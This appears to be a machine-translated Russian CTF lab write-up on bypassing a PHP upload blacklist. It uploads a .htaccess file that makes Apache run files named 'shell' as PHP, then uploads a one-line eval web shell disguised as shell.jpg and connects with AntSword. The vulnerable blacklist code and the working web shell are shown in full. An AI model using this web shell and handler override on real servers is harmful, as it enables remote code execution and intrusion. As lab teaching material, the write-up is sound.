Файл .htaccess — это файл конфигурации сервера Apache. Он в основном отвечает за настройку веб-страниц в соответствующих каталогах, то есть за размещение файла, содержащего одну или несколько инструкций, в определенном каталоге документов для настройки веб-страниц. Однако следует отметить, что областью действия файла .htaccess является каталог, в котором он расположен, и все его подкаталоги. Однако, если файл .htaccess также существует в подкаталоге, эффект .htaccess родительского каталога будет таким. перезаписано.
Ниже приведен пример файла .htaccess.
<ifModule mime_module>
AddHandler php5-script .jpg
<!-- Разберите и выполните файл .jpg в соответствии с PHP-кодом. -->
AddType application/x-httpd-php .jpg
<!-- Разберите и выполните файл .jpg в соответствии с PHP-кодом. -->
Sethandler application/x-httpd-php
<!-- Разберите и выполните файлы в этом каталоге и подкаталогах в соответствии с файлом php. -->
</ifModule>
<!-- Этот метод сопоставления не рекомендуется и может легко привести к случайным травмам. -->
<FilesMatch "muma.jpg">
Sethandler application/x-httpd-php
<!-- будет соответствовать muma.jpg Файл анализируется и выполняется в соответствии с php. -->
Addhandler php5-script .jpg
<!-- будет соответствовать muma.jpg Файл анализируется и выполняется в соответствии с php. -->
</FilesMatch>
<!-- Этот метод сопоставления более точен и не вызовет большого количества случайных травм. -->
Давайте сначала посмотрим на исходный код.
<?php
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
if (!in_array($ext, $blacklist)) {
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('Загрузка успешна')</script>";
echo "Относительный путь загрузки файла<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('Загрузка не удалась')</script>";
}
} else {
echo "<script>alert('Несоответствие типа файла')</script>";
}
}
?>
Наш файл PHP-трояна заблокирован черным списком веб-сайтов, поэтому нам нужно подумать, как его обойти. Согласно подсказке вопроса, вам необходимо использовать метод .htaccess. htaccess не находится в файле черного списка. Тогда мы можем напрямую записать файл .htaccess для загрузки, перезаписав локальный файл .htaccess на сервере.
Напишите файл .htaccess. Функция этого кода — обрабатывать все файлы, содержащие оболочку, как файлы php.
<FilesMatch "shell">
Sethandler application/x-httpd-php
</FilesMatch>
Загрузите этот файл .htaccess, затем измените расширение нашего файла трояна, состоящего из одного предложения, наshell.jpg, а затем загрузите его.
<?php eval($_POST['shell']) ?>
На стойке регистрации видно, что загрузка прошла успешно, затем используйте Ant Sword для подключения и снимите флажок.